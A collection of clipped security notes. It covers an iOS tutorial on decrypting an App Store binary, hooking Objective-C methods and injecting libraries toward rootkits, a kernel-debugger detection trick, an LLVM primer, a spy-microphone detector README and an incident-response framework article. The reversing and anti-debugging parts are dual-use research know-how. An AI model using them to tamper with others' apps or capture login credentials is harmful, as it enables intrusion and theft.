          f.write("\x00\x00\x00\x00")
        end
    
        STDERR.puts "!! Writing #{cryptsize} bytes of decrypted data from #{decrypt.inspect} to #{exe.inspect}"
        # write our decrypted data at cryptoff, we assume it is equal to cryptsize
        f.pos = cryptoff
        f.write(decrypt_dat)
      end
    end
    
    
[/code]

Save that to a file called 'uncrypt.rb' and run the following. Note that our
lc\_offset of 1376 was determined by bgrep previously, and may not necessarily
be the same on your copy of the binary:

[code]

    myMac:Just Light.app emonti$ ruby uncrypt.rb "Just Light_decrypted" decrypted.bin 1376
    ** Found LC_ENCRYPTION_INFO Structure at bytes offset 1376
    ** lc_cmd=0x00000021, cmdsize=0x00000014, cryptoff=0x00001000, cryptsize=0x00001000, cryptid=0x00000001
    !! Patching cryptid
    !! Writing 4096 bytes of decrypted data from "decrypted.bin" to "Just Light_decrypted"
    
    
    
[/code]

## Decrypted, at Last

So we finally have a decrypted binary in hand. Lets take it for a spin with
class-dump to see what all that fuss was for.

[code]

    myMac:Just Light.app emonti$ class-dump Just\ Light_decrypted 
    /*
     *     Generated by class-dump 3.3.2 (64 bit).
     *
     *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2010 by Steve Nygard.
     */
    
    #pragma mark Named Structures
    
    struct CGPoint {
        float _field1;
        float _field2;
    };
    
    struct CGRect {
        struct CGPoint _field1;
        struct CGSize _field2;
    };
    
    struct CGSize {
        float _field1;
        float _field2;
    };
    
    #pragma mark -
    
    /*
     * File: Just Light_decrypted
     * Arch: arm v6 (armv6)
     *
     *       Objective-C Garbage Collection: Unsupported
     */
    
    @protocol NSObject
    - (BOOL)isEqual:(id)arg1;
    - (unsigned int)hash;
    - (Class)superclass;
    - (Class)class;
    - (id)self;
    - (struct _NSZone *)zone;
    - (id)performSelector:(SEL)arg1;
    - (id)performSelector:(SEL)arg1 withObject:(id)arg2;
    - (id)performSelector:(SEL)arg1 withObject:(id)arg2 withObject:(id)arg3;
    - (BOOL)isProxy;
    - (BOOL)isKindOfClass:(Class)arg1;
    - (BOOL)isMemberOfClass:(Class)arg1;
    - (BOOL)conformsToProtocol:(id)arg1;
    - (BOOL)respondsToSelector:(SEL)arg1;
    - (id)retain;
    - (oneway void)release;
    - (id)autorelease;
    - (unsigned int)retainCount;
    - (id)description;
    @end
    
    @protocol UIApplicationDelegate <NSObject>
    
    @optional
    - (void)applicationDidFinishLaunching:(id)arg1;
    - (void)applicationDidBecomeActive:(id)arg1;
    - (void)applicationWillResignActive:(id)arg1;
    - (BOOL)application:(id)arg1 handleOpenURL:(id)arg2;
    - (void)applicationDidReceiveMemoryWarning:(id)arg1;
    - (void)applicationWillTerminate:(id)arg1;
    - (void)applicationSignificantTimeChange:(id)arg1;
    - (void)application:(id)arg1 willChangeStatusBarOrientation:(int)arg2 duration:(double)arg3;
    - (void)application:(id)arg1 didChangeStatusBarOrientation:(int)arg2;
    - (void)application:(id)arg1 willChangeStatusBarFrame:(struct CGRect)arg2;
    - (void)application:(id)arg1 didChangeStatusBarFrame:(struct CGRect)arg2;
    @end
    
    @interface Just_LightAppDelegate <UIApplicationDelegate>
    {
        UIWindow *window;
    }
    
    - (void)applicationDidFinishLaunching:(id)arg1;
    - (void)dealloc;
    @property(retain) UIWindow *window; // @synthesize window;
    
    @end
    
    
    
[/code]

Curious readers may also want to try 'otool -o' to see what kind of info it
provides. It can be useful for other reversing tasks since it gives some low
level details, but it's output is harder to read. We'll stick to class-dump's
output for this exercise. It actually gives us a properly formatted
objective-C header file that spells out all the class interfaces in our
executable.

We can see now the prototypes which describe the interface for the symbols we
saw earlier using 'nm'.

[code]

    myMac:Just Light.app emonti$ nm Just\ Light_decrypted 
    000020b8 t -[Just_LightAppDelegate applicationDidFinishLaunching:]
    000020f8 t -[Just_LightAppDelegate dealloc]
    00002140 t -[Just_LightAppDelegate setWindow:]
    00002134 t -[Just_LightAppDelegate window]
    ...
    
    
[/code]

The class interface from class-dump looks like:

[code]

    @interface Just_LightAppDelegate <UIApplicationDelegate>
    {
        UIWindow *window;
    }
    
    - (void)applicationDidFinishLaunching:(id)arg1;
    - (void)dealloc;
    @property(retain) UIWindow *window; // @synthesize window;
    
    
[/code]

Now, this is a really basic application, so it's not surprising that the
Objective-C class interface has just about nothing interesting going on. If
you want to see a much more interesting class interface, try running class-
dump against /Applications/MobileSafari.app/MobileSafari. I'll leave it as an
excercise to the reader, but note that you won't need any of this fuss with
decrypting MobileSafari. It is not an app store binary\!

I picked Just Light specifically because it is a simple app \(and free\!\). So
lets run with that. To see just how simple this app is, disassemble the
contents and see for yourself. Bear with me, but we won't actually be using a
disassembler much in this exercise.

[code]

    myMac:Just Light.app emonti$ otool -Vt Just\ Light_decrypted 
    (__TEXT,__text) section
    start:
    00002000        e59d0000        ldr     r0, [sp]
    00002004        e28d1004        add     r1, sp, #4      ; 0x4
    00002008        e2804001        add     r4, r0, #1      ; 0x1
    ...
    
    # or... if you have a suitable objdump from binutils...
    myMac:Just Light.app emonti$ objdump -d Just\ Light_decrypted 
    Disassembly of section .text:
    
    00002000 <start>:
        2000:       e59d0000        ldr     r0, [sp]
        2004:       e28d1004        add     r1, sp, #4
        2008:       e2804001        add     r4, r0, #1
        200c:       e0812104        add     r2, r1, r4, lsl #2
        2010:       e3cdd007        bic     sp, sp, #7
    ...
    
    
    
[/code]

"Did he just say we won't be disassembling?" you're asking, right? This is
supposed to be an article on reversing, library injection, and function
hooking\! Well, we're going to do it the "easy way" using some educated
guessing combined with some convenient features of the the Objective-C
runtime. Pretty much everything you will get from the app store is heavily
Objective-C driven, so it makes sense to take advantage of it.

  

## Hooking the Objective-C Runtime

Since Objective-C is a dynamic runtime, it presents some interesting
opportunities for runtime hooking for security purposes or otherwise.
Objective-C is the primary application coding language employed in iOS apps.
Objective-C enables developers to access the Cocoa API as well as various
library frameworks on the iOS platform. As with other aspects of the
underlying operating system, iOS shares a great deal in common with Mac OS X
in its Objective-C runtime and libraries. Not surprisingly, Apple strongly
encourages using Objective-C to allow 3rd party developers to take advantage
of various features on iOS. Thus, most user applications we find from Apple
and the iPhone App Store will be written with at least some Objective-C code
and many implement most if not all of their functionality using it.

The process for hooking methods in Objective-C is called Swizzling and the
runtime provides some features that let do it very easily. Consider the
following code:

[code]

      1 /* phoshizzle.m by eric monti
      2  *
      3  * Hook [NSObject init] and watch children get created at runtime in the logs.
      4  *
      5  * compile with -dynamiclib -init _hook_setup
      6  * 
      7  */
      8
      9 #import <Foundation/Foundation.h>
     10 #import <objc/runtime.h>
     11 
     12 // This macro sets up a hook into the objective-C runtime
     13 #define HookObjC(cl, sel, new, bak) \
     14  (*(bak) = method_setImplementation(class_getInstanceMethod((cl), (sel)), (new)))
     15 
     16 // Holds a pointer to the original [NSObject init]
     17 static IMP orig_init;
     18 
     19 // our overridden [NSObject init] hook
     20 id hook_init(id _self, SEL _cmd) {
     21   NSLog(@"Class Initialized: %@", [_self class]);
     22   return orig_init(_self, _cmd);
     23 }
     24 
     25 void hook_setup(void)
     26 {
     27   // hook [NSObject init]
     28   HookObjC(objc_getClass("NSObject"),
     29            @selector(init),
     30            (IMP) hook_init,
     31            (IMP *) &orig_init);
     32 }  
    
    
[/code]

At lines 13 and 14 we define a macro called HookObjC. This is what we use to
let the objective-C runtime do our work for us. The key to this macro is two
very handy functions defined in the include file objc/runtime.h.

[code]

    OBJC_EXPORT id objc_getClass(const char *name);
    ...
    OBJC_EXPORT Method class_getInstanceMethod(Class cls, SEL name);
    ...
    OBJC_EXPORT IMP method_setImplementation(Method m, IMP imp) 
    
    
[/code]

On line 20 we define a function we call 'hook\_init' which will become the
hook for and take the place of NSObject.init whenever it is called. This code
just logs a message and then calls the original init implementation. The
important thing to remember about this hook is that the hook must match the
return type and arguments from the objective C method it will replace. But in
the case of NSObject.init, it is a well documented function. The first
arguments always passed to obj-C instance methods are a reference to 'self'
followed by a selector which indicates the method. In the case of 'init' there
are no other arguments.

On line 25, we define a function that will be called when the library
initializes. All this library init routine does is initialize the the
"swizzle" at lines 28 through 31 using the HookObjC macro.

The macro calls class\_getInstanceMethod\(\) to get a reference to the "init"
method of the "NSObject" class. That reference is passed to
method\_setImplementation\(\) to point it at our own implementation,
hook\_init\(\). The original implementation of 'init' is saved as
'orig\_init'.

When this code is run inside of any objective-C program, it should produce log
information like the following \(bear with me I'll cover injection soon\):

[code]

    Thu Jan  3 16:20:55 iPhone Just Light[11729] <Notice>: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/phoshizzle.dylib
    Thu Jan  3 16:20:55 iPhone Just Light[11729] <Warning>: Class Initialized: WTFMainThreadCaller
    Thu Jan  3 16:20:55 iPhone Just Light[11729] <Warning>: Class Initialized: _NSThreadData
    Thu Jan  3 16:20:55 iPhone Just Light[11729] <Warning>: Class Initialized: WebDatabasePauser
    Thu Jan  3 16:20:55 iPhone Just Light[11729] <Warning>: Class Initialized: UIDevice
    ...
    Thu Jan  3 16:20:56 iPhone Just Light[11729] <Warning>: Class Initialized: Just_LightAppDelegate
    Thu Jan  3 16:20:56 iPhone Just Light[11729] <Warning>: Class Initialized: UIRuntimeOutletConnection
    Thu Jan  3 16:20:56 iPhone Just Light[11729] <Warning>: Class Initialized: UIWindow
    ... and so on
    
    
[/code]

We can already see how this ability to hook into the runtime could be valuable
to us. We have effectively inserted new code into initialization of every
NSObject. NSObject is the base class for all objects in the objective-C, so
this translates into access to everything in the runtime\! And we did it in
very few lines of code.

Here's a more "specific" hook designed specifically to target Just Light.

[code]

    /* phoshizzle2.m by eric monti
     * A basic hook PoC designed to make Just Light turn the screen red instead 
     * of white.
     */
    
    #import <Foundation/Foundation.h>
    #import <UIKit/UIKit.h>
    #import <objc/runtime.h>
    
    // This macro sets up a hook into the objective-C runtime
    #define HookObjC(cl, sel, new, bak) \
     (*(bak) = method_setImplementation(class_getInstanceMethod((cl), (sel)), (new)))
    
    static IMP hook_orig;
    
    void hook(id _self, SEL _cmd, id arg) {
      [_self setBackgroundColor:[UIColor redColor]];
      hook_orig(_self, _cmd, arg);
    }
    
    void hook_setup(void)
    {
      HookObjC(objc_getClass("UIWindow"), @selector(makeKeyAndVisible), 
               (IMP) hook, (IMP *) &hook_orig);
    }
    
    
[/code]

This is where we begin to see and think about how a targetted application hook
might work. Though as promised from the get-go, this is hardly sneaky and only
mildly annoying.

What we've done here is similar to the original phoshizzle.m code, but instead
of hooking NSObject.init, we've targetted a specific class used by the UI and
modified data in our hook. What we do is the flashlight color from white to
red. This is done by hooking the UIWindow when it is made visible with the
'makeKeyAndVisible' method and changing the color before calling the original
implementation.

In more robust applications, we can often find interesting class methods
specific to the application to hook this way. These may yield sensitive
information, offer opportunities for backdoors, or help us to instrument and
dynamically analyze a program for security research, etc.

Consider for example how you might capitalize on a hook in this objective-C
method prototype \(found in a real application's class interface obtained
using class-dump\):

[code]

     (BOOL)loginAsUser:(id)arg1 withPassword:(id)arg2
    
    
[/code]

Conventional C function pointer hooks are still possible even without the
objective-C runtime, ofcourse. But the objective-C runtime offers interesting
new opportunities in this area with a minimum amount of effort, particularly
as it relates to reverse engineering.

## Library Injection

With a dynamic library or bundle to inject in hand, we were able to to get it
loaded into a target program in the previous section. There are numerous
approaches to library injection on various operating systems. Several well
established techniques exist on OS X/darwin. As it turns out, they are also
shared by iOS. Additionally a jailbreak specific option may exist and is nice
for testing code against, if not for use as part of your security research
toolkit directly:

  1. DYLD\_INSERT\_LIBRARIES and several other environment variables are significant to the dyld\(1\) subsystem and allow dynamically adding code to processes as they are launched. Those familiar with "LD\_PRELOAD" on linux will find this familiar territory as well. Often, these variables can be set and made persistent by adding them to a targetted application's launchd configuration. In 2009, Charlie Miller described a plist configuration he used to load custom code persistently into CommCenter via launchd for fuzzing iOS SMS messages.
  2. The Mach-O binary format stores "rpaths" which indicate the dynamic shared library install names loaded by an executable when it is launched. We can examine these "rpaths" using 'otool -L'. These linking relationships are usually created at compile time, however a tool called install\_name\_tool\(1\) on OS X can be used to add, change, or delete the rpaths in an executable file or library. Although a copy of otool and install\_name\_tool are not provided by Apple for iOS, iOS versions of otool and install\_name\_tool can also be obtained via the Cydia odcctools package. In a pinch, we can write our own lightweight tools to examine and modify the Mach-O headers in much the same way as otool and install\_name\_tool.
  3. At BlackHat USA 2009, Dino Dai Zovi presented rootkit injection toolkit for OS X that he called Machavelli. The techniques presented by Mr. Dai Zovi are primarily based on Mach IPC, which is a facility of the XNU kernel architecture shared by both iOS and OS X. Usermode runtime bundle injection is facilitated by a tool called inject-bundle. The inject-bundle tool was based on an earlier tool called 'mach\_inject' from the mach\_star suite. These techniques can be used on iOS as well, although injecting bundles at runtime requires minor custom patches to the toolchains to work on ARM architectures as well as additional steps to ensure entitlements for access to the necessary mach ports.
  4. The Cydia-driven jailbreak environment \(the one pretty much everybody ends up with via 3rd party jailbreaks\) includes the Mobilesubstrate subsystem. This facility is specifically designed for injecting arbitrary code into other processes on jailbroken iPhones and is what allows 3rd party Cydia developers to develop run-time patches to existing apps via code injection into iPhone apps like MobileSafari, etc. MobileSubstrate can be used to inject code any 3rd party app store application as well as Apple's own applications shipped with iOS.

  
In my presentation demo at toorcon, I was using MobileSubstrate out of
convenience, however I avoided the use of the convenience functions it
provides for creating Objective-C hooks or conventional C function pointer
hooks. I did this specifically so that my hooks would easier to use with a
wider range of library injection techniques.

Other injection techniques may offer stealthier ways to inject code, but
MobileSubstrate is a great way to get started and test whether your hooks are
working. MobileSubstrate is effectively already hooked into every process on
the system through launchd, so it basically just provides us a convenient
abstraction to do what it's already doing itself. All thats needed with
MobileSubstrate is to compile the our injectable library and create a plist
file which specifies a filter for which applications the library should be
loaded into at runtime.

[code]

    myMac:/var/mobile root# cd /Library/MobileSubstrate/DynamicLibraries
    myMac:/Library/MobileSubstrate/DynamicLibraries root# ls -l phoshizzle2.*
    -rwxr-xr-x 1 root wheel 25040 Jan  6 17:45 phoshizzle2.dylib*
    -rw-r--r-- 1 root wheel    54 Jan  6 17:45 phoshizzle2.plist
    myMac:/Library/MobileSubstrate/DynamicLibraries root# cat phoshizzle2.plist
    Filter = {Bundles = ("com.justlightapp.justlight");};
    myMac:/Library/MobileSubstrate/DynamicLibraries root# 
    
    
[/code]

  

## Entitlements

As mentioned previously, some code injection techniques require certain
special iOS entitlements to work. Saurik wrote a very informative article on
entitlements on his blog some time ago, which highlights the use of a tool he
wrote for Cydia apps called 'ldid'. While iOS's security architecture
restricts this ability, jailbreaking an iOS device enables you to bypass these
restrictions. Indeed, this is one of the very things that jailbreaking is
designed to do. It is for this reason that any successful rootkit attempt must
generally be preceeded by some level of jailbreak of the underlying iOS system
regardless whether it targets kernel, userland, or application layers.

Some of the significant entitlements we are interested in might include:

  * task\_for\_pid-allow, to allow controlling other processes \(via the task\_for\_pid\(\) function\)
  * get-task-allow, to enable ptrace\(\) access to other processes.
  * run-unsigned-code, to allow running code without a signature.

## Conclusions

One of the most significant ideas to take away about iOS rootkits is that a
large body of knowledge and information exists and is published on the XNU
kerneland the darwin operating system much of which translates almost directly
to iOS. In other words, although the iOS landscape may feel somewhat foreign
at first, we are not starting completely from scratch with a new and different
operating system. \(similarly, a common base exists between Linux and Android
in many ways\).

Finally, much of the custom code I used in this article is available online.
The package includes a makefile and some information on how to set up your
environment with an iOS SDK.

Go out and have fun reversing some apps\!

# Getting Started with LLVM System

**Created:**| _4/24/2010 12:19:10 PM_  
---|---  
**Updated:**| _4/24/2010 12:19:33 PM_  
**Author:**| __  
**Tags:**| _compiler-building binary translation llvm_  
  

Example with llvm-gcc4

  1. First, create a simple C file, name it 'hello.c':
[code]    #include <stdio.h>

    
    int main() {
      printf("hello world\n");
      return 0;
    }
    
[/code]

  2. Next, compile the C file into a native executable:
[code]    % llvm-gcc hello.c -o hello

[/code]

Note that llvm-gcc works just like GCC by default. The standard -S and -c
arguments work as usual \(producing a native .s or .o file, respectively\).

  3. Next, compile the C file into a LLVM bitcode file:
[code]    % llvm-gcc -O3 -emit-llvm hello.c -c -o hello.bc

[/code]

The -emit-llvm option can be used with the -S or -c options to emit an LLVM
".ll" or ".bc" file \(respectively\) for the code. This allows you to use the
standard LLVM toolson the bitcode file.

Unlike llvm-gcc3, llvm-gcc4 correctly responds to -O\[0123\] arguments.

  4. Run the program in both forms. To run the program, use: 
[code]    % ./hello

    
[/code]

and

[code]    % lli hello.bc

    
[/code]

The second examples shows how to invoke the LLVM JIT, lli.

  5. Use the `llvm-dis` utility to take a look at the LLVM assembly code: 
[code]    llvm-dis < hello.bc | less
    
[/code]

  6. Compile the program to native assembly using the LLC code generator: 
[code]    % llc hello.bc -o hello.s

    
[/code]

  7. Assemble the native assembly language file into a program: 
[code]    **Solaris:** % /opt/SUNWspro/bin/cc -xarch=v9 hello.s -o
hello.native

    
    **Others:**  % gcc hello.s -o hello.native
    
    
[/code]

  8. Execute the native code program: 
[code]    % ./hello.native

    
[/code]

Note that using llvm-gcc to compile directly to native code \(i.e. when the
-emit-llvm option is not present\) does steps 6/7/8 for you.

  

# eldraco/Salamandra

**Created:**| _3/7/2018 8:54:52 AM_  
---|---  
**Updated:**| _3/7/2018 8:54:52 AM_  
**Author:**| _wishi_  
**Tags:**| _sdr_  
  

  

###  README.md

# Salamandra Spy Microphone Detection Tool

Salamandra is a tool to detect and **locate** spy microphones in closed
environments. It find microphones based on the strength of the signal sent by
the microphone and the amount of noise and overlapped frequencies. Based on
the generated noise it can estimate how close or far away you are from the
microphone.

# Installation

## USB SDR Device

To use Salamandra you nee to have a SDR \(Software Define Radio\) device. It
can be any from the cheap USB devices, such as this.

## rtl\_power software

Salamandra needs the rtl\_power software installed in your computer. To
install it you can do:

  * On MacOS:
sudo port install rtl-sdr

If you don't have ports in your MAC, see port installation

  * On Linux:
apt-get install rtl-sdr

  * On Windows: See http://www.rtl-sdr.com/getting-the-rtl-sdr-to-work-on-windows-10/

If rtl\_power was installed correctly, you should be able to run this command
in any console:

[code]

    rtl_test
    
[/code]

And you should see one device detected.

# Usage

## Basic usage for detecting microphones

[code]

    ./salamandra.py 
    
[/code]

This command will use a default threshold of 10.8, a min freq of 100Mhz, a max
freq of 400Mhz and sound. You can change the default values with parameters.

## Location Mode to find Hidden Microphones

  * Run Salamandra with a threshold of 0, starting in the frequency 100MHz and ending in the frequency 200MHz. Search is activated with \(-s\). And make sounds \(-S\)
./salamandra.py -t 0 -a 100 -b 200 -s -S

## Location Mode from a stored rtl\_power file

[code]

    ./salamandra.py -t 0 -a 111 -b 113 -s -f stored.csv
    
[/code]

To actually create the file with rtl\_power, from 111MHz to 114MHz, with
4000Khz step, gain of 25, integration of 1s and capturing for 5min, you can
do:

[code]

    rtl_power -f 111M:114M:4000Khz -g 25 -i 1 -e 300 stored.csv
    
[/code]

## Detection Mode \(deprecated now\). To detect microphones in one pass.

  * Run Salamandra with a threshold of 0, starting in the frequency 100MHz and ending in the frequency 200MHz. Search is activated with \(-s\). And make sounds \(-S\)
./salamandra.py -t 10.3 -a 100 -b 200 -F 2

## Tips

  * The wider the range of frequencies selected, the longer the analysis takes.
  * The wider the range, the more probabilities to find microphones.
  * Once you know the prob freq you can narrow it down with the parameters.

# TODO

  1. Make more clear if there is a detection or not
  2. Separate the FP by 
     * Sound generation based on the length of the histogram
     * Discard the frequencies that do not look like analog audio \(Equidistant freqs\)
  3. Logs in file
  4. Make the execution of rtl\_power in another process in the background

  

# RE: Time slip DPC kernel debugger detection

**Created:**| _7/28/2013 7:46:44 AM_  
---|---  
**Updated:**| _7/28/2013 7:53:23 AM_  
**Author:**| __  
**Tags:**| _Debugging kernel_  
  

# **T** ime slip DPC kernel debugger detection****

  
Been quite awhile since my last entry**.** Spent some time in Key West, FL and
spent some more time moving to the other side of town**.** I have a some fun
things to post about over the next month or so**.** So stay tuned ;p  
  
When a kernel debugger can attach to the system \(KdPitchDebugger == 0\) the
possibility exists for software \(usermode included\) to implement an event
object type to be set to the signaled state when a time slip occurs**.** In
this context, a time slip occurs because an exception that is passed to the
kernel debugger puts all logical processors in a wait state with interrupts
masked off**.**  
  
No external interrupts from timing chips \(pit, hpet\) can occur**.** Thus
when the logical processor\(s\) are continued, the machine is living in the
past so to speak**.** Time keeps on slippin slippin slippin..**.**  
  
But..  
  
Prior to exiting the debugger, KdExitDebugger will insert the KdpTimeSlipDpc
DPC object into the processor's DPC queue**.** This DPC will queue a passive
level work item routine \(KdpTimeSlipWork\) which will set a provided event
object to the signaled state, if one is provided**.** User level software can
set this field with NtSetSystemInformation with an infoclass of 0x2E**.** The
windows time service  
in particular sets this field when it starts up, that is, if the service is
running**.** However it can still be reset. I haven't really looked over the
windows time service but my guess is that when and if it is notified of a time
slip, that it probably attempts to synchronize the system back over NTP, but
who knows.. haven't looked**.**  
  
We can be sure that if this DPC is fired that a kernel debugger is attached to
the system because the only way the initial DPC can be queued is via
KdExitDebugger**.** Control flow cannot reach that point unless an exception
occured which was forwarded to the debugger**.**  
  
The passive level work routine will queue another timer based DPC object with
KiSetTimer with a hardcoded duetime of 94B62E00**.** This value is relative to
the system clock at 179999999900 nanoseconds, or every 180 seconds \(3 minutes
;p\) that it will attempt to set your provided event  
object to the signaled state**.**  
  
Please note this requires the SeSystemtimePrivilege privilege**.**  
  
Quick example for clarity:  
  
HANDLE a1=CreateEvent\(NULL,FALSE,FALSE,NULL\);  
  
NtSetSystemInformation\(0x2E,&a1,8\);  
  
if\(WaitForSingleObject\(a1,1\)==WAIT\_OBJECT\_0\) //kernel debugger attached  
  
****

# PowerShell Magazine » Kansa: A PowerShell-based incident response framework

**Created:**| _7/18/2014 5:19:15 PM_  
---|---  
**Updated:**| _7/18/2014 5:19:15 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS automation incident response_  
  

# Known unknowns and unknown unknowns

If you follow information security, you know that information systems are
constantly under attack and often fall victim to adversaries looking to make a
quick buck, gain competitive advantage through theft of intellectual property
or embarrass a target that they find politically or ideologically offensive.

In many enterprises, computer security incident response \(IR\) teams exist to
respond to these threats and these teams nearly always spring into action with
very limited knowledge about the incidents they are investigating.

Maybe the incident started because someone noticed an account added to the
domain administrators group. How did the account get there? How long has it
been there? What has it been used for and by whom?

In the early going, the investigative focus may be narrow — the known victim
machine, but the scope often quickly expands. Investigators may need to gather
data from many or even all machines within a given domain or other security
boundary to look for indicators of compromise or anomalous activity. Readers
of PowerShell Magazine understand that PowerShell can provide much of this
capability for Windows systems.

# Disclaimer

At this point, I should provide the following disclaimer: This article is
solely representative of the views and opinions of the author, Dave Hull, and
is not intended to state or reflect those of Microsoft Corporation, the
author’s employer. This article is not endorsed by Microsoft.

# Kansa: A PowerShell-based incident response framework

You could do what I did a couple years ago and write a monolithic PowerShell
script to collect the data you need for your investigation and copy that
script to every host in your environment, maybe requiring _CredSSP_ to pull
third-party binaries like _Sysinternal’s Autorunsc_ from a file server or to
write output to a file server, but that would be a bad idea.

For starters, a monolithic script written to collect many different data
points will be cumbersome if you later want to collect a single data point
from multiple hosts. Secondly, copying a script to every host in your
environment means you’re not taking advantage of Windows Remote Management and
PowerShell’s ability to run jobs across multiple hosts in parallel. Lastly and
very importantly, using _CredSSP_ should be avoided. Period. Using it during a
security investigation in a compromised environment may actually be increasing
risk by exposing more privileged credentials to an adversary. For more on
that, see http://www.powershellmagazine.com/2014/03/06/accidental-sabotage-
beware-of-credssp/.

At this point, you know what took me awhile to figure out and you could start
writing your own code with these lessons in mind. Or you could check out
_Kansa_ , a free, open source, PowerShell-based incident response framework
hosted at https://github.com/davehull/Kansa.

_Kansa_ is modular. It features a core script, dozens of collector modules and
analysis scripts to help make sense of the data collected. Kansa takes
advantage of Windows Remote Management and PowerShell remoting. It uses
PowerShell’s default non-delegated Kerberos network logons, not _CredSSP_ and
therefore does not expose credentials to harvesting.

Let’s take a deeper look at _Kansa_. After downloading the latest release from
https://github.com/davehull/Kansa/releases, unzip it. You’ll need to unblock
the scripts before you can run them on your local machine. The easiest way to
do this is to open a PowerShell prompt and cd into Kansa’s top level directory
and run the following command:

| `ls` `-r` `*.ps1 | unblock``-file`  
---|---  
Before we dive in and run the script, let’s take a look at the contents of the
main directory:

Analysis  
Modules  
.gitignore  
contributing.md  
kansa.ps1  
LICENSE  
MSLimitedPublicLicense.txt  
README.md  
ToDo

Kansa’s primary purpose is to make it easier to collect data from many hosts,
but you’ll notice the first directory above is called Analysis. Kansa comes
with dozens of scripts to help analyze the data it collects, we’ll come back
to that in a bit.

The Modules directory contains all of the collector scripts that the main
script, _Kansa.ps1_ , will invoke on hosts also known as targets in Kansa’s
parlance. The other files in the listing above are obviously licenses, some
explanation of what Kansa is and a ToDo list, though most items are tracked
via issues on GitHub.

Just about all of the code that makes up Kansa is licensed under the Apache
Version 2.0 license. There’s a small bit of code licensed under the Microsoft
Limited Public License. See the respective license files for details, if you
have concerns.

We’ll dive into the Modules directory and look at the collectors and discuss
some things about _Kansa.ps1_ as the need arises. A directory listing of the
Modules folder shows the following items:

ASEP  
bin  
Config  
Disk  
Log  
Net  
Process  
default-template.ps1  
Modules.conf

The last two items above are files, everything else is a directory. The
default-template.ps1 is a simple example script with some code in it that I’ve
found myself using in multiple modules.

_Modules.conf_ is a configuration file that controls which modules _Kansa.ps1_
will invoke and the order in which they will be invoked. Why does the order
matter? Incident responders collecting data from running systems want to
collect data in the “order of volatility,” or starting with the most volatile
data – the contents of memory, network connections and running processes and
then move to less dynamic items like files on disk; this is because the
actions of the investigator will affect the contents of RAM, possibly network
connections and running processes.

In _Modules.conf_ there is one module per line. Commenting out a line,
prevents that module from being run.

Let’s return to the directories found under Modules starting with ASEP. If
you’re not familiar with ASEP, it’s an acronym for Auto-Start Extension Point.
These are locations in Windows that can be used to configure code to run
either at system start or in response to some Windows event. As such, these
locations are commonly used by attackers as a means of maintaining persistence
in Windows environments.

A directory listing of the ASEP folder shows the following:

Get-Autorunsc.ps1  
Get-PSProfiles.ps1  
Get-SvcAll.ps1  
Get-SvcFail.ps1  
Get-SvcTrigs.ps1  
Get-WMIEvtConsumer.ps1  
Get-WMIEvtFilter.ps1  
Get-WMIFltConBind.ps1

Each of these scripts are collectors that _Kansa.ps1_ may invoke on targets,
depending on the _Modules.conf_ file or if specified via the _-ModulePath_
argument. There are over 40 collector scripts and I won’t go into detail on
all of them, but I will discuss some.

The first script, _Get-Autorunsc.ps1_ takes a dependency on Sysinternals
Autorunsc.exe, a great utility for gathering data from many known ASEP
locations, including the path to the executable or script, command line
arguments and cryptographic hashes, such as MD5.

Kansa is not limited to Windows built-in commands or PowerShell cmdlets. If
you want to collect data using some third-party binary, simply copy that
binary into the ._\Modules\bin\_ directory and include a special comment on
the second line of your collector module script to direct Kansa to copy the
given binary to your targets, prior to running that collector. This special
comment, what I refer to as a directive, for _Get-Autorunsc.ps1_ looks like
this:

| `# BINDEP .\Modules\bin\Autorunsc.exe`  
---|---  
_BINDEP_ is simply shorthand for “binary dependency.” With this directive in
place, if _Kansa.ps1_ is run with the -Pushbin argument, it will recognize
that it needs to copy _.\Modules\bin\Autorunsc.exe_ to its targets. These
binaries are not generally removed after being copied to remote hosts, though
this depends on the module, so future Kansa runs may not require the -Pushbin
argument.

_Get-PSProfiles.ps1_ acquires copies of PowerShell profiles from both system
default locations and individual user’s accounts. Attackers have planted code
in these profiles as a means of maintaining persistence by having their code
execute when user’s open PowerShell prompts. Autoruns does not currently
collect information about this ASEP.

_Get-SvcAll.ps1_ collects information about all the services on targets.

_Get-SvcFail.ps1_ collects information about service recovery options. Most
services are configured to simply restart as a recovery option, but one of the
possible recovery options is to run arbitrary code. Autoruns does not
currently collect data about this ASEP.

_Get-SvcTrigs.ps1_ collects information about service triggers. Windows
services are no longer limited to starting at system start or starting
manually. They can also start and stop based on the presence of Bluetooth or
USB mass storage devices or even in response to arbitrary Windows events.
Autoruns does not currently collect information about this ASEP.

_Get-WMIEvtConsumer.ps1_ collects data about WMI Event Consumers, which when
combined with WMI Event Filters and WMI Filter-to-Event Consumer Bindings can
be used to run arbitrary code in response to Windows events. Malware authors
have been using WMI Event Consumers as a persistence mechanism for some time
and until very recently, Autoruns did not collect information about this ASEP
and even now it doesn’t collect information about the Event Filter, which is
what triggers the Event Consumer.

The next directory under _.\Modules\_ is bin, which we’ve already touched on
so let’s move on to _.\Modules\Config\_. In that directory you’ll find the
following:

Get-AMHealthStatus.ps1  
Get-AMInfectionStatus.ps1  
Get-CertStore.ps1  
Get-GPResult.ps1  
Get-Hotfix.ps1  
Get-IIS.ps1  
Get-LocalAdmins.ps1  
Get-Products.ps1  
Get-SmbShare.ps1

The _Get-AM\*_ scripts collect data about the status of Microsoft’s Anti-
Malware client and the rest of these collectors are self-explanatory based on
their names. Next stop on our rapid tour of Kansa, _.\Modules\Disk\_ , which
contains:

Get-File.ps1  
Get-FlsBodyfile.ps1  
Get-TempDirListing.ps1

_Get-File.ps1_ needs to be configured by whoever is running Kansa and it is
used to acquire a specific file, but remember, it will try and acquire that
file from every host, so use it to collect common files if you’re running with
multiple targets.

_Get-FlsBodyFile.ps1_ requires Fls.exe and some dlls from the Sleuth Kit, an
open source digital forensics framework available from
http://www.sleuthkit.org. This collector’s BINDEP directive looks like this:

| `# BINDEP .\Modules\bin\fls.zip`  
---|---  
fls.zip has to be created by the user, it’s not packaged with Kansa.
Directions for putting together _fls.zip_ are in the _Get-FlsBodyFile.ps1_
script and that collector is written to decompress the zip archive and then
execute fls and send its output back to the host where Kansa was run.

So what is fls? It’s like dir or ls on steroids and will pull directory
listings for both allocated and unallocated \(deleted\) files, including time
stamps and MFT File Reference numbers, all of which can be very useful during
investigations. Next up _.\Modules\Log\_ :

Get-LogAppExperienceProgInventory.ps1  
Get-LogAppExperienceProgTelemetry.ps1  
Get-LogAppLockerExeDll.ps1  
Get-LogAppLockerMSIScript.ps1  
